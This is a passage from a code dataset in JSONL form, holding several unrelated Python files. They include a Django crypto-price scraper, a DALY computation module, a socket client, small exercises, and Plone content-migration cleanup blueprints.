ocr_image.save(tif_name)\r\n return tif_name\r\n\r\nif __name__ == '__main__':\r\n all_sub_images = []\r\n# bot = HttpBot()\r\n# for i in range(10):\r\n# \r\n## for j in range(len(sub_images)):\r\n## enhancer = ImageEnhance.Sharpness(sub_images[j])\r\n## sub_images[j] = enhancer.enhance(5)\r\n## sub_images[j].save(str(i) + '_' + str(j) + 'verify.tif')\r\n# ocr_image = join_sub_images(sub_images, 25, 28)\r\n# enhancer = ImageEnhance.Sharpness(ocr_image)\r\n# ocr_image = enhancer.enhance(5)\r\n# tif_name = str(i) + 'verify.tif';\r\n# ocr_image.save(tif_name)\r\n# print get_ocr_value(tif_name)\r\n# print get_ocr_value('3verify.tif')\r\n \r\n ","sub_path":"src/test_join.py","file_name":"test_join.py","file_ext":"py","file_size_in_byte":1847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"296491047","text":"from django.shortcuts import render\r\nfrom django.http import HttpResponse\r\nfrom .forms import CoinForm, AllSwitchForm, LanguageEnForm, LanguageRuForm\r\nimport datetime\r\nimport urllib\r\nimport re\r\n\r\n\r\ndef get_coin(request):\r\n if request.method == \"POST\":\r\n coin = request.POST.get(\"coin\")\r\n allswitch = request.POST.get(\"allswitch\")\r\n languageRU = request.POST.get(\"languageRU\")\r\n print(languageRU)\r\n print(allswitch)\r\n langEN = False\r\n langRU = False\r\n if languageRU == \"on\":\r\n langRU = True\r\n else:\r\n langEN = True\r\n site = 'https://coinmarketcap.com'\r\n\r\n if allswitch == \"on\":\r\n site += r'/all/views/all/'\r\n\r\n def onlineconnection(site):\r\n global online, d1\r\n print('Making request to ' + site)\r\n try:\r\n d1 = datetime.datetime.now()\r\n resp = urllib.request.urlopen(site)\r\n print('Request was succesful!')\r\n html = resp.read().decode('utf-8')\r\n online = True\r\n return html\r\n except:\r\n print('No connection!')\r\n online = False\r\n html = onlineconnection(site)\r\n print(\"html получен за \", datetime.datetime.now()-d1)\r\n coin = coin.lower()\r\n coin = coin.replace(\" \", \"-\")\r\n if online:\r\n try:\r\n tofind = \"id-\"+coin+r\"\\S*\"\r\n x = re.findall(tofind, html)\r\n x1 = [i.replace(\"id-\", \"\") for i in x]\r\n x1 = [i.replace('\"', \"\") for i in x]\r\n #print(x1)\r\n a = html.index(x[0])\r\n a_text = html[a:a+1450]\r\n b = a_text.index(re.findall('price', a_text)[0])\r\n b_text = a_text[b:b+100]\r\n c = re.findall(r'\\d+\\.\\d+', b_text)[0]\r\n position = re.findall(r'\\d+', a_text)[0]\r\n print(\"position: \", position)\r\n change24h = re.findall(r'data-percentusd=\"\\S+', a_text)[0]\r\n change24h = re.findall(r'.\\d+\\.\\d+', change24h)[0]\r\n change24h = change24h.replace('\"', \"\")\r\n print(\"change24h: \", change24h)\r\n marketcap = re.findall(r'no-wrap market-cap', a_text)[0]\r\n marketcapindex = a_text.index(marketcap)\r\n marketcap = a_text[marketcapindex:marketcapindex+200]\r\n marketcap = re.findall(r'\\$\\S+', marketcap)[0]\r\n marketcap = marketcap.replace(\"$\", \"\")\r\n print(\"marketcap: \", marketcap)\r\n toreturn = x[0] + \"costs\" + str(c) + \"dollars! \" + str(datetime.datetime.now())\r\n except:\r\n exception = 'Error, coin \"{0}\" wasn\\'t found!'.format(coin)\r\n context={\"coin\": CoinForm(), \"exc\":exception, \"allswitch\":AllSwitchForm(),\"languageRU\":LanguageRuForm(), \"languageEN\":LanguageEnForm()}\r\n print(\"context: \", context)\r\n return render(request, \"index.html\", context)\r\n exception = \"\"\r\n allcoins = [b[3:].replace('\"', \"\") for b in x]\r\n #print(\"all coins: \", allcoins)\r\n realcoin = x[0][3:].replace(\"-\", \" \")\r\n realcoin = realcoin.replace('\"', \"\")\r\n rc1 = [i.capitalize() for i in realcoin.split()]\r\n realcoin = ''\r\n for i, word in enumerate(rc1):\r\n if i == len(rc1)-1:\r\n realcoin+= word\r\n else:\r\n realcoin+= word + \" \"\r\n date = datetime.datetime.now()\r\n context = {\"coincost\": c, \"coin\": realcoin, \"date\": date, \"allswitch\":allswitch, \"change24h\":change24h, \"marketcap\":marketcap, \"position\":position,\"languageRU\":LanguageRuForm(), \"languageEN\":LanguageEnForm(), \"langEN\":langEN, \"langRU\":langRU}\r\n print(\"context: \", context)\r\n return render(request, \"printcoin.html\", context)\r\n else:\r\n exception = \"Error, no internet connection!\"\r\n context={\"coin\": CoinForm(), \"exc\":exception, \"allswitch\":AllSwitchForm(), \"languageRU\":LanguageRuForm(), \"languageEN\":LanguageEnForm()}\r\n print(\"context: \", context)\r\n return render(request, \"index.html\", context)\r\n else:\r\n context={\"coin\": CoinForm(), \"allswitch\":AllSwitchForm(), \"languageRU\":LanguageRuForm(), \"languageEN\":LanguageEnForm()}\r\n print(\"context: \", context)\r\n return render(request, \"index.html\", context)\r\n","sub_path":"CoinmarketcapParser/backend/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"633361981","text":"from django.conf.urls.defaults import *\nfrom models import KeyWord\nfrom django.contrib.admin.models import LogEntry\n\nurlpatterns = patterns('django.views.generic.list_detail',\n # Example:\n #(r'^browse/', include('dictionary.browse.urls')),\n (r'^$', 'object_list', {'queryset':KeyWord.objects.all(), 'template_name':'dictionary/index.html'} ),\n (r'^log/', 'object_list', {'queryset':LogEntry.objects.all(), 'template_name':'dictionary/log.html'} ),\n)\nurlpatterns += patterns('dictionary.browse.views',\n (r'^bytype/', 'browse_by_type'),\n (r'^check/', 'check'),\n (r'^new/', 'makenew'),\n)\n","sub_path":"dictionary/browse/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"431163302","text":"import random\n\ndef list_of_rgb_colors(n):\n lst_of_col = []\n for i in range(n):\n a = random.randint(0, 255)\n b = random.randint(0, 255)\n c = random.randint(0, 255)\n\n col = \"rgb({},{},{})\".format(a,b,c)\n\n lst_of_col.append(col)\n print(lst_of_col)\n\ndef list_of_hexa_colors(n):\n lst_of_col = []\n hexa = '0123456789ABCDEF'\n for i in range(n):\n result_color = '#'+''.join(random.choice(hexa) for i in range(6))\n lst_of_col.append(result_color)\n print(lst_of_col)\n\ndef generate_colors(col, n):\n if col == 'hexa':\n list_of_hexa_colors(n)\n elif col == 'rgb':\n list_of_rgb_colors(n) \n else:\n print(\"Please enter a valied input\")\n\n\ncol = input(\"Enter the type of colours: \")\nn = int(input(\"Enter the number of colours: \"))\n\ngenerate_colors(col, n)","sub_path":"day_12/Question_06.py","file_name":"Question_06.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"557165361","text":"from __future__ import print_function\n\nimport argparse\nimport sys\nimport time\nimport os\nimport pandas\n\nfrom parallelm.components import ConnectableComponent\nfrom parallelm.mlops.stats.multi_line_graph import MultiLineGraph\nfrom parallelm.mlops import mlops as mlops\n\nclass MCenterComponentAdapter(ConnectableComponent):\n \"\"\"\n Adapter for read_file_to_df \n \"\"\"\n\n def __init__(self, engine):\n super(self.__class__, self).__init__(engine)\n\n def _materialize(self, parent_data_objs, user_data):\n if len(parent_data_objs) is not 0:\n file_path = str(parent_data_objs[0])\n else:\n file_path = self._params.get('filename')\n self._logger.info(\"stdout- MCenterComponentAdapter file: {}\".format(file_path))\n return [read_file_to_df(self, file_path)]\n\n\ndef read_file_to_df(self, filepath):\n \"\"\"\n Read file and return DataFrame\n \"\"\"\n\n mlops.init()\n if not os.path.exists(filepath):\n self._logger.info(\"stderr- failed to find {}\".format(filepath), file=sys.stderr)\n raise Exception(\"file path does not exist: {}\".format(filepath))\n\n test_data = pandas.read_csv(filepath)\n mlops.done()\n return test_data\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--filename\", default='/tmp/loan.csv', help=\"Dataset to read\")\n options = parser.parse_args()\n return options\n\n","sub_path":"component-repository/file_to_dataframe/file_to_dataframe.py","file_name":"file_to_dataframe.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"247749716","text":"# Map in python\n# As select() in javascript, map() in ruby\nnums = [1,2,3,4]\nnums_double = [num * 2 for num in nums]\nnums_double2 = list(map(lambda x: x*2, nums))\n\n\n# Filter function\n# as filter() javascript, select() in ruby\nseq = [0, 1, 2, 3, 5, 8, 13]\ndef check(seq):\n checked = []\n for s in seq:\n if s%2 == 0:\n checked.append(s)\n return checked\nprint(checked(seq))\nseq_checked = tuple(filter(lambda x: (x%2==0), seq))\n\n\n# Reduce function\n# as reduce() in JS and Ruby\nnum2 = [4,3,2,1]\nfactorial = 1\nfor num in num2:\n factorial *= num\nprint(factorial)\n\n# Using reduce\nfrom functools import reduce\nfact = reduce(lambda fac, item: (fac*item), num2)","sub_path":"advances/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"529632469","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('CelebrityManager', '0002_auto_20151224_1257'),\n ('MovieManager', '0006_auto_20151225_1551'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='movie',\n name='directors',\n ),\n migrations.AddField(\n model_name='movie',\n name='directors',\n field=models.ForeignKey(null=True, related_name='movie_directors', to='CelebrityManager.Celebrity', blank=True),\n ),\n ]\n","sub_path":"imdbsite/MovieManager/migrations/0007_auto_20151225_1635.py","file_name":"0007_auto_20151225_1635.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"97594034","text":"import requests\nimport json\n\n #This Code Works - returns Dictionary with each key being a skelID and each value being a list of their annotation IDs\nimport config\n\n\ntoken = config.token\nauth = config.CatmaidApiTokenAuth(token)\n\nproject_id = config.project_id\n\n\ndef getVolumeIDs():\n response = requests.get(\n 'https://neuropil.janelia.org/tracing/fafb/v14/1/volumes/'.format(project_id), \n auth = auth\n )\n\n myData = json.loads(response.content)\n\n volumeDict = {}\n \n for i in myData:\n currentName = i['name']\n currentID = i['id']\n volumeDict[currentID] = currentName\n \n #relevantDict = myData['entities']\n\n condensedVolumeDict={}\n \n for x in volumeDict:\n if 'v14' not in volumeDict[x]:\n if '_R' in volumeDict[x] or '_L' in volumeDict[x]:\n condensedVolumeDict[volumeDict[x]] = x\n \n \n return condensedVolumeDict\n\n\n#returns list of strings of VOLume ids\ndef getVolumeIDintList():\n myVols = getVolumeIDs()\n volList = list(myVols.values())\n return volList\n\ndef getVolumeStringList():\n myVols = getVolumeIDs()\n volList = list(myVols.keys())\n return volList\n\n\n#return dictionary containing only ITO nomenclature neuropils (with 1 of each neuropil)\ndef filterVolumes():\n myVols = getVolumeIDs()\n for i in myVols:\n if '_R' not in i and '_L' not in i:\n del myVols[i]\n return myVols\n\n \n#input should be a volume name with either _R or _L to specify hemisphere \ndef getVolumeBoundary(volume):\n volList = getVolumeIDs()\n if '_R' not in volume and '_L' not in volume:\n volume += '_R' #defaults to right hemisphere volume if not specified\n myVolID = volList[volume]\n response = requests.get(\n 'https://neuropil.janelia.org/tracing/fafb/v14/1/volumes/{}/'.format(myVolID), \n auth = auth\n )\n\n myData = json.loads(response.content)\n return myData\n \n \n \n#def getVolumeBoundaries():\n # myVolumes = getVolumeIDs()\n \n # myVolumeIDs = myVolumes.keys()\n # myBoundDict = {}\n \n \n #for i in myVolumeIDs:\n # r = requests.get(\n # 'https://neuropil.janelia.org/tracing/fafb/v14/{}/volumes/{}/'.format(project_id, i), \n # auth = auth\n #) \n \n \n \n #newData = json.loads(r.content)\n #thisBound = response['bbox']\n \n #myBoundDict[i] = thisBound\n \n \n #return myBoundDict\n \n \n \n","sub_path":"FAFB_Descending_Neurons/getAllVolumeIDs.py","file_name":"getAllVolumeIDs.py","file_ext":"py","file_size_in_byte":2522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"443131885","text":"import logging\n\nimport gbd.constants as gbd\n\nfrom dalynator.computation_element import ComputationElement\nfrom dalynator.data_source import DataSource\n\nlogger = logging.getLogger(__name__)\n\n\nclass ComputeDalys(ComputationElement):\n \"\"\"Compute DALYs from YLL and YLD.\n The math is simple: daly = yll + yld\n The data source must have exactly the following indexes:\n ['location_id', 'year_id', 'age_group_id', 'sex_id', 'cause_id',\n 'measure_id', 'metric_id']\n Any other 'extra' non-draw columns (e.g. \"pop\") will be carried\n through unchanged.\n\n Input validation:\n for CoD (YLL) input:\n measure must be YLL (==4)\n metric must be number (==1)\n\n for Epi (YLD) input:\n measure must be YLD (==3)\n metric must be number space (==1)\n\n All numbers must be non-negative, and not None, and not NaN\n Each unique index_cols must have exactly one row.\n\n Output:\n measure will be DALY (==2)\n metric will be number (==1)\n \"\"\"\n\n END_MESSAGE = \"END compute daly\"\n\n MINIMUM_INDEXES = ['location_id', 'year_id', 'age_group_id', 'sex_id',\n 'cause_id', 'measure_id', 'metric_id']\n \"\"\"Must have at least these indexes\"\"\"\n\n def __init__(self,\n yll_data_frame, yld_data_frame,\n data_cols,\n index_cols=MINIMUM_INDEXES,\n ):\n self.yll_data_frame = yll_data_frame\n self.yld_data_frame = yld_data_frame\n self.data_cols = data_cols\n self.index_cols = index_cols\n\n def get_data_frame(self):\n\n # Validate inputs\n logger.info(\"BEGIN compute_dalys\")\n yll_df = self.yll_data_frame\n logger.debug(\" read yll\")\n ComputeDalys.validate_measure_and_metric(yll_df, \"yll\",\n gbd.measures.YLL,\n gbd.metrics.NUMBER)\n logger.debug(\" validated yll {}\".format(yll_df.shape))\n\n yld_df = self.yld_data_frame\n logger.debug(\" read yld\")\n ComputeDalys.validate_measure_and_metric(yld_df, \"yld\",\n gbd.measures.YLD,\n gbd.metrics.NUMBER)\n logger.debug(\" validated yld {}\".format(yld_df.shape))\n\n # Chained data frame operations to get YLL and YLD frames into\n # shapes/indexing required for summation\n to_sum_indexes = list(set(self.index_cols) - set(['measure_id']))\n ylls_to_sum = yll_df.drop('measure_id', axis=1).set_index(\n to_sum_indexes)\n ylds_to_sum = yld_df.drop('measure_id', axis=1).set_index(\n to_sum_indexes)\n daly_df = ylls_to_sum.add(ylds_to_sum, fill_value=0.0)\n logger.info(\" added yll and yld {}\".format(daly_df.shape))\n\n daly_df.reset_index(inplace=True)\n daly_df['measure_id'] = gbd.measures.DALY\n\n # Framewise addition often reorders the columns. Order them back again\n ds = DataSource('Computed Dalys', data_frame=daly_df)\n daly_df = ds._normalize_columns()\n\n logger.debug(\" final shape {}\".format(daly_df.shape))\n logger.info(ComputeDalys.END_MESSAGE)\n return daly_df\n\n @staticmethod\n def log_and_raise(error_message):\n logger.error(error_message)\n raise ValueError(error_message)\n\n @staticmethod\n def validate_measure_and_metric(df, df_name, measure, metric):\n \"\"\"Check that measure_id and metric are present and correct.\n Raise a ValueError if either does not match.\"\"\"\n\n missing_indexes = [x for x in ComputeDalys.MINIMUM_INDEXES\n if x not in df.columns]\n if missing_indexes:\n ComputeDalys.log_and_raise(\"Missing required index {} \"\n \"from dataframe {}\"\n .format(missing_indexes, df_name))\n\n if 'measure_id' in df.columns:\n bad = df['measure_id'] != measure\n if any(bad):\n ComputeDalys.log_and_raise(\"measure_id for {} must be {}, \"\n \"found bad rows\"\n .format(df_name, measure))\n else:\n ComputeDalys.log_and_raise(\"column 'measure_id' missing in {}\"\n .format(df_name))\n\n if 'measure_id' in df.columns:\n bad = df['metric_id'] != metric\n if any(bad):\n ComputeDalys.log_and_raise(\"metric_id for {} must be {}, \"\n \"found bad rows\"\n .format(df_name, metric))\n else:\n ComputeDalys.log_and_raise(\"column 'metric_id' missing in {}\"\n .format(df_name))\n","sub_path":"gbd_2017/shared_code/central_comp/dalys_hale/dalynator/compute_dalys.py","file_name":"compute_dalys.py","file_ext":"py","file_size_in_byte":4889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"471368616","text":"# coding=utf-8\n\nimport socket\nimport time\nimport json\nimport copy\n\nclass Client(object):\n \n def __init__(self, host, port):\n self.conn=socket.create_connection((host,port))\n def close(self):\n self.conn.close()\n def send(self, msg_type,data=None):\n self.conn.settimeout(1.0)\n if msg_type > 0:\n data2 = copy.copy(data)\n data2['msg_type'] = msg_type\n msg = (json.dumps(data2)+'|').encode('utf-8')\n self.conn.sendall(msg)\n print('msg sent:',msg) \n elif msg_type == 0:\n self.conn.sendall('HEARTBEAT_MSG')\n else:\n assert False,msg_type\n \n def recv(self, timeout):\n endtime = time.time() + timeout\n self.conn.settimeout(timeout)\n buf = self.conn.recv(1024)\n assert buf, 'connection was closed by server' \n print('tcp_data got,buf =',buf)\n pos = buf.fine(b'|')\n while pos == -1:\n dt = endtime - time.time()\n if dt < 0.0:\n raise socket.timeout()\n tcp_data = self.conn.recv(4096)\n assert tcp_data,'connection was closed by server'\n buf += tcp_data\n print('tcp_data got, buf = ',buf)\n pos = buf.find(b'|')\n assert pos + 1 == len(buf), buf\n if pos == 0:\n return 0,None\n data = json.load(buf[:-1])\n msg_type = data.pop('msg_type')\n print('msg(%d) got: '%msg_type,data)\n return msg_type,data\n\n def expect(self, exp_msg_type, timeout):\n pass\n\n\n\n \n","sub_path":"practice/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"399212577","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: longshuicui\n@date : 2021/2/9\n@function:\n104. Maximum Depth of Binary Tree (Easy)\nhttps://leetcode.com/problems/maximum-depth-of-binary-tree/\n题目描述\n 求一个二叉树的最大深度。\n输入输出样例\n 输入是一个二叉树,输出是一个整数,表示该树的最大深度。\n题解\n 使用递归\n\"\"\"\n\n\nclass TreeNode:\n def __init__(self, val, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\ndef maxDepth(root):\n if not root:\n return 0\n return 1 + max(maxDepth(root.left), maxDepth(root.right))\n\n\nroot = TreeNode(3)\nroot.left = TreeNode(9)\nroot.right = TreeNode(20)\nroot.right.left = TreeNode(15)\nroot.right.right = TreeNode(7)\n\nres = maxDepth(root)\nprint(res)\n","sub_path":"11.树/树的递归/104.Maximum Depth of Binary Tree (Easy).py","file_name":"104.Maximum Depth of Binary Tree (Easy).py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"546447954","text":"# coding=utf-8\nfrom collective.transmogrifier.interfaces import ISection\nfrom collective.transmogrifier.interfaces import ISectionBlueprint\nfrom collective.transmogrifier.utils import traverse\nfrom ftw.blueprints.sections.portlet import PortletHandler\nfrom lxml import html as parser\nfrom plone.portlets.constants import CONTEXT_CATEGORY\nfrom plone.portlets.interfaces import ILocalPortletAssignmentManager\nfrom plone.portlets.interfaces import IPortletManager\nfrom Products.CMFCore.utils import getToolByName\nfrom zope.component import getMultiAdapter\nfrom zope.component import getUtility\nfrom zope.interface import classProvides, implements\nimport logging\nimport os\nimport transaction\n\n\nclass BaseCleanup(object):\n\n def __init__(self, transmogrifier, name, options, previous):\n self.previous = previous\n self.context = transmogrifier.context\n self.logger = logging.getLogger(options['blueprint'])\n\n def __iter__(self):\n for item in self.previous:\n yield item\n\n self.do_setup()\n\n items = self.get_items()\n if items:\n for item in items:\n self.do_cleanup(item)\n else:\n self.do_cleanup(item)\n\n transaction.commit()\n\n def do_setup(self):\n return\n\n def get_items(self):\n return []\n\n def do_cleanup(self, item=[]):\n return\n\n\nclass AddNewsArchivePortlets(BaseCleanup):\n classProvides(ISectionBlueprint)\n implements(ISection)\n\n def do_setup(self):\n self.handler = PortletHandler(\n 'plone.rightcolumn',\n 'ftw.contentpage.portlets.news_archive_portlet.Assignment',\n 'newsarchiveportlet',)\n\n def get_items(self):\n items = []\n for path in [\n '/mediencenter/aktuell_ptk_sta',\n '/mediencenter/aktuell_pol_feu',\n '/mediencenter/aktuell_stadtrat']:\n items.append(traverse(self.context, path))\n return items\n\n def do_cleanup(self, obj):\n self.handler(obj)\n\n\nclass SetNavigationPortlets(BaseCleanup):\n classProvides(ISectionBlueprint)\n implements(ISection)\n\n def do_setup(self):\n self.manager = getUtility(IPortletManager, name=u\"plone.leftcolumn\")\n self.handler = PortletHandler(\n 'plone.leftcolumn',\n 'plone.app.portlets.portlets.navigation.Assignment',\n 'navigation',)\n\n def get_items(self):\n items = []\n for obj in self.context.listFolderContents():\n items.append(obj)\n return items\n\n def do_cleanup(self, obj):\n try:\n # Get the current blacklist for the location\n blacklist = getMultiAdapter(\n (obj, self.manager), ILocalPortletAssignmentManager)\n\n # Turn off the manager\n blacklist.setBlacklistStatus(CONTEXT_CATEGORY, True)\n\n # Add navigation portlet\n self.handler(obj, properties={'topLevel':0})\n except:\n pass\n\nclass DummyUsersAndGroups(BaseCleanup):\n classProvides(ISectionBlueprint)\n implements(ISection)\n\n def do_setup(self):\n self.gtool = getToolByName(self.context, 'portal_groups')\n self.mtool = getToolByName(self.context, 'portal_membership')\n\n self.gtool.addGroup('Editors',title='Editors', roles=['Editor'])\n\n def get_items(self):\n\n return [\n dict(\n username='testeditor',\n password='pweditor',\n fullname='Test Editor',\n group=\"Editors\"\n ),\n dict(\n username='testreviewer',\n password='pwreviewer',\n fullname='Test Reviewer',\n group='Reviewers'\n ),\n dict(\n username='testadministrator',\n password='pwadministrator',\n fullname='Test Administrator',\n group='Administrator'\n ),\n dict(\n username='testsiteadministrator',\n password='pwsiteadministrator',\n fullname='Test Site Administrator',\n group='Site Administrator'\n ),\n ]\n\n def do_cleanup(self, item):\n self.mtool.addMember(\n item.get('username'), item.get('password'), (), (), properties={\n 'fullname': item.get('fullname')})\n\n self.gtool.getGroupById(\n item.get('group')).addMember(item.get('username'))\n\n self.logger.info('Created User %s in group %s' % (\n item.get('username'), item.get('group')))\n\n\nclass Legacy(BaseCleanup):\n classProvides(ISectionBlueprint)\n implements(ISection)\n\n def do_cleanup(self, item):\n for method in dir(self):\n if method.startswith('legacy_'):\n getattr(self, method)()\n\n def create_legacy_content(\n self,\n parent_path,\n content_id,\n view_name,\n title,\n exclude_from_nav=True):\n\n folder = self.context.restrictedTraverse(parent_path)\n\n if hasattr(folder, content_id):\n content = getattr(folder, content_id)\n else:\n content = folder.get(folder.invokeFactory(\n 'ContentPage', content_id))\n\n content.setLayout(view_name)\n content.setTitle(title)\n content.setExcludeFromNav(exclude_from_nav)\n\n try:\n wf_tool = getToolByName(content, \"portal_workflow\")\n wf_tool.doActionFor(\n content,\n \"bern_intranet_workflow--TRANSITION--veroffentlichen--entwurf_veroffentlicht\")\n except:\n pass\n\n self.logger.info(str('%s updated at %s' % (\n title, content.absolute_url())))\n\n return content\n\n def legacy_search_buy_property(self):\n obj = self.create_legacy_content(\n 'online/liegenschaften/kaufen/',\n 'search_buy_property',\n 'search_buy_property',\n 'Suche Kaufobjekt'\n )\n textblock = obj.__parent__['textblock']\n text = textblock.getText()\n text = text.replace(\n 'http://www.immoscout24.ch/IS24Web/hci/hcilist.aspx?lng=de&wl=1402&type=2',\n 'resolveuid/%s' % obj.UID())\n textblock.setText(text)\n\n\n def legacy_search_rent_property(self):\n obj = self.create_legacy_content(\n 'online/liegenschaften/mieten/',\n 'search_rent_property',\n 'search_rent_property',\n 'Suche Mietobjekt'\n )\n textblock = obj.__parent__['textblock']\n text = textblock.getText()\n text = text.replace(\n 'http://www.immoscout24.ch/IS24Web/hci/hcilist.aspx?lng=de&wl=1402&type=1',\n 'resolveuid/%s' % obj.UID())\n textblock.setText(text)\n\n def legacy_search_abfuhrdaten(self):\n self.create_legacy_content(\n 'leben_in_bern/wohnen/erb/kehrichtabfuhr/',\n 'copy_of_abfuhrdaten',\n 'search_abfuhrdaten',\n 'Abfuhrdaten, E-mail-Erinnerung, iKalender Import'\n )\n\n def legacy_ozonticker_umfrage(self):\n self.create_legacy_content(\n 'leben_in_bern/sicherheit/umweltschutz/Luft/lufthygiene/ozonticker/',\n 'umfrage',\n 'ozonticker_umfrage',\n 'Ozonbelastung'\n )\n\n def legacy_ozonticker_newsletter(self):\n self.create_legacy_content(\n 'leben_in_bern/sicherheit/umweltschutz/Luft/lufthygiene/ozonticker/',\n 'newsletter',\n 'ozonticker_newsletter',\n 'Ozonbelastung'\n )\n\n def legacy_umweltschutz_passivsammler(self):\n self.create_legacy_content(\n 'leben_in_bern/sicherheit/umweltschutz/Luft/',\n 'passivsammler',\n 'umweltschutz_passivsammler',\n 'Übersichtskarte der NO2-Belastung in Bern'\n )\n\n def legacy_umweltschutz_messwerte(self):\n self.create_legacy_content(\n 'leben_in_bern/sicherheit/umweltschutz/Luft/',\n 'messwerte',\n 'umweltschutz_messwerte',\n 'Aktuelle Luftbelastung in Bern'\n )\n\n def legacy_sssb_suche(self):\n self.create_legacy_content(\n 'leben_in_bern/stadt/recht/',\n 'suche',\n 'sssb_suche',\n 'Rechtssammlung'\n )\n\n def legacy_sssb_stichworte(self):\n self.create_legacy_content(\n 'leben_in_bern/stadt/recht/',\n 'stichworte',\n 'sssb_stichworte',\n 'Stichworte'\n )\n\n def legacy_sssb_systematik(self):\n self.create_legacy_content(\n 'leben_in_bern/stadt/recht/',\n 'systematik',\n 'sssb_systematik',\n 'Systematik'\n )\n\n def legacy_list_baupublikationen(self):\n self.create_legacy_content(\n 'stadtverwaltung/prd/bauinspektorat/',\n 'pub_list_contents',\n 'list_baupublikationen',\n 'Aktuelle Baupublikationen'\n )\n\n def legacy_search_angebotskompass(self):\n self.create_legacy_content(\n 'leben_in_bern/freizeit/akompass/',\n 'suche',\n 'search_angebotskompass',\n 'Suche Angebotskompass'\n )\n\n def legacy_tagi(self):\n self.create_legacy_content(\n 'leben_in_bern/persoenliches/familie/tagesbetreuung/grundlagen/tarife/',\n 'tagiBerechnungsForm_12',\n 'tagi_berechnungs_form',\n 'Tarif Tagesstätten für Schulkinder'\n )\n\n def legacy_kita(self):\n self.create_legacy_content(\n 'leben_in_bern/persoenliches/familie/tagesbetreuung/grundlagen/tarife/',\n 'kitaBerechnungsForm_13',\n 'kita_berechnungs_form',\n 'Tarif Tagesstätten für Kleinkinder'\n )\n\n def legacy_joblist(self):\n self.create_legacy_content(\n 'online/jobs/',\n 'joblist',\n 'joblist',\n 'Jobs'\n )\n\n\nclass LinkCleanup(BaseCleanup):\n classProvides(ISectionBlueprint)\n implements(ISection)\n\n def get_items(self):\n catalog = getToolByName(self.context, 'portal_catalog')\n query = {\n 'portal_type': ['TextBlock', 'HTMLBlock'],\n }\n return catalog(query)\n\n def do_cleanup(self, brain):\n obj = brain.getObject()\n\n text = obj.getText()\n\n if not text:\n return\n\n cleanup = self.link_cleanup(text, obj)\n\n if text == cleanup:\n return\n\n self.logger.info(str('Links at %s updated' % obj.absolute_url()))\n\n obj.setText(cleanup)\n obj.reindexObject(idxs=['text'])\n\n def link_cleanup(self, text, context):\n cleanup = text\n\n for link in parser.iterlinks(text):\n original_href = link[2]\n\n href = original_href.replace('http://www.bern.ch/', '')\n href = href.replace('http://redaktion.bern.ch/', '')\n href = href.replace('http://neuzuziehen.bern.ch/', '')\n href = href.replace('http://bern.ch/neuzuziehen', '')\n href = href.replace('http://hallo.bern.ch', '')\n href = href.replace('http://bern.ch/hallo.bern.ch', '')\n href = href.replace('http://cms0002.bern.ch/bern.ch/neuzuziehen/', '')\n href = href.partition('view?')[0]\n if href.endswith('/download'):\n href = href[:-len('/download')]\n\n if not self.to_cleanup(href):\n continue\n\n obj = self.lookup_object(href)\n\n if not obj:\n continue\n try:\n cleanup = cleanup.replace('HREF', 'href')\n cleanup = cleanup.replace(\n 'href=\"%s\"' % original_href,\n 'href=\"resolveuid/%s\"' % obj.UID(), 1)\n except:\n pass\n\n return cleanup\n\n def to_cleanup(self, href):\n # Check if we need to cleanup the link\n needs = ['redaktion.bern.ch', 'www.bern.ch']\n ignores = ['mailto', 'http://']\n\n for need in needs:\n if need in href:\n return True\n\n for ignore in ignores:\n if href.startswith(ignore):\n return False\n\n return True\n\n def lookup_object(self, href):\n\n # Traversing\n if isinstance(href, unicode):\n href = href.encode('utf-8')\n obj = traverse(self.context, href)\n\n if obj:\n return obj\n\n # Try to find object in download-folder\n download_href = \"%s/downloads/%s\" % (\n os.path.dirname(href),\n os.path.basename(href))\n\n obj = traverse(self.context, download_href)\n\n if obj:\n return obj\n\n # Catalog\n catalog = getToolByName(self.context, 'portal_catalog')\n brains = catalog(id=os.path.basename(href.rstrip('/')))\n if not brains or len(brains) > 1:\n return None\n\n return brains[0].getObject()\n\n\nclass NewsLinkCleanup(LinkCleanup):\n classProvides(ISectionBlueprint)\n implements(ISection)\n\n def get_items(self):\n catalog = getToolByName(self.context, 'portal_catalog')\n query = {\n 'portal_type': ['BernNews'],\n }\n return catalog(query)\n\n def do_cleanup(self, brain):\n obj = brain.getObject()\n\n url = obj.getRemoteUrl()\n\n if not url:\n return\n\n cleanup = self.link_cleanup(url, obj)\n\n if cleanup == url:\n return\n\n self.logger.info(str('BernNews Link at %s updated' % obj.absolute_url()))\n\n obj.setRemoteUrl(cleanup)\n\n def link_cleanup(self, url, context):\n original_href = url\n href = original_href.replace('http://www.bern.ch/', '')\n href = href.replace('http://redaktion.bern.ch/', '')\n href = href.partition('view?')[0]\n\n if not 